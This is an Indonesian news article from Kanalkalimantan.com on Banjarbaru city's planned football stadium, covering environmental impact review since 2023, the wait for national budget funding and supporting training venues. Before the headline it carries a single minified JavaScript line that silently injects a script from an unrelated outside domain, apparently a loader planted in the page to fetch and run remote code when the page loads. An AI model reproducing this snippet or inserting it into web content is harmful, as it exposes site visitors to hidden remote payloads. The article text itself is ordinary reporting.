(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Rencana Bangun Stadion Banjarbaru Berharap Dana APBN

KANALKALIMANTAN.COM, BANJARBARU – Rencana pembangunan stadion olahraga di Banjarbaru, Ibu Kota Provinsi Kalimantan Selatan (Kalsel) masih bergulir hingga hari ini.

Berbagai pembahasan bersama instansi terkait, sebelumnya telah banyak dilakukan sebagai bukti keseriusan Pemerintah Kota (Pemko) Banjarbaru dalam membangun stadion olahraga tersebut.

Dalam progres saat ini, Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kota Banjarbaru sebagai leading sector dalam pembangunan stadion olahraga baru saja merampungkan pertemuan dengan Komisi Amdal (Analisis Mengenai Dampak Lingkungan) untuk membahas kelengkapan dokumen di dalamnya.

Kepala Bidang Cipta Karya Dinas PUPR Banjarbaru, Nina Aprodita mengatakan bahwa proses penyusunan dokumen Amdal sudah berjalan sejak tahun 2023 dan kembali akan dilakukan pembahasan-pembahasan.

“Amdal stadion olahraga ini masih berproses dari tahun 2023 dan memerlukan waktu yang panjang untuk pembahasan dokumen Amdal, seperti kerangka acuan, dokumen Andal (Analisis Dampak Lingkungan Hidup), dan RPL (Rencana Pemantauan Lingkungan Hidup), kemudian untuk proses selanjutnya ada pembahasan lagi,” ujar Nina Aprodita kepada Kanalkalimantan.com, Jum’at (28/6/2024).

Nina menjelaskan untuk target penyelesaian Amdal sendiri masih tergantung dari Kementerian Lingkungan Hidup dan Kehutanan (KLHK) RI.

Sementara untuk Andal saat ini juga ditangani oleh Dinas Lingkungan Hidup (DLH) Kota Banjarbaru, dan Dinas PUPR menangani infrastrukturnya.

Di sisi lain Pemerintah Kota Banjarbaru saat ini masih menunggu kepastian dari pemerintah pusat terkait dengan pengajuan pendanaan. Sebab untuk pembangunan fisik stadion olahraga berskala besar didanai melalui APBN.

“Pengajuan ke pusat ini masih terus dilakukan untuk pendanaan, kita masih menunggu kepastian akan didanai atau tidak, yang jelas seluruh kriteria sudah disiapkan, mulai dari perencanaan, studi kelayakan, Andalalin, hingga Amdal, agar nanti pada saat pengerjaan fisiknya kalau bisa didanai melalui APBN sudah siap kelengkapan dokumennya,” jelas dia.

“Kemarin sudah kita usulkan sekali lagi untuk dimasukkan ke dalam proyek strategis nasional,” sambung Nina.

Adapun rencana pembangunan stadion olahraga skala besar itu berlokasi di Jalan Mistar Cokrokusumo, Kecamatan Cempaka, strategis berada di pinggir jalan, di tanah milik Pemerintah Kota Banjarbaru.

Selain menggunakan APBN, Nina menjelaskan nantinya akan ada pembangunan venue yang didanai memakai APBD Kota Banjarbaru. Venue yang dibangun berupa bangunan pelengkap, salah satunya adalah tempat latihan atlet.

“Seperti bangunan pelengkap yang ada karena stadion yang dibangun ini kan stadion sepak bola, jadi venue pelengkapnya adalah tempat latihan atletnya,” ungkapnya.

“Maka sebelum mereka bertanding di stadion utama biasanya mereka ada latihan atau pemanasan dulu jadi kita siapkan lahan pendukungnya tetap berada di sekitar lokasi stadion utama yang berada di tanah milik Pemko,” tuntas Nina. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie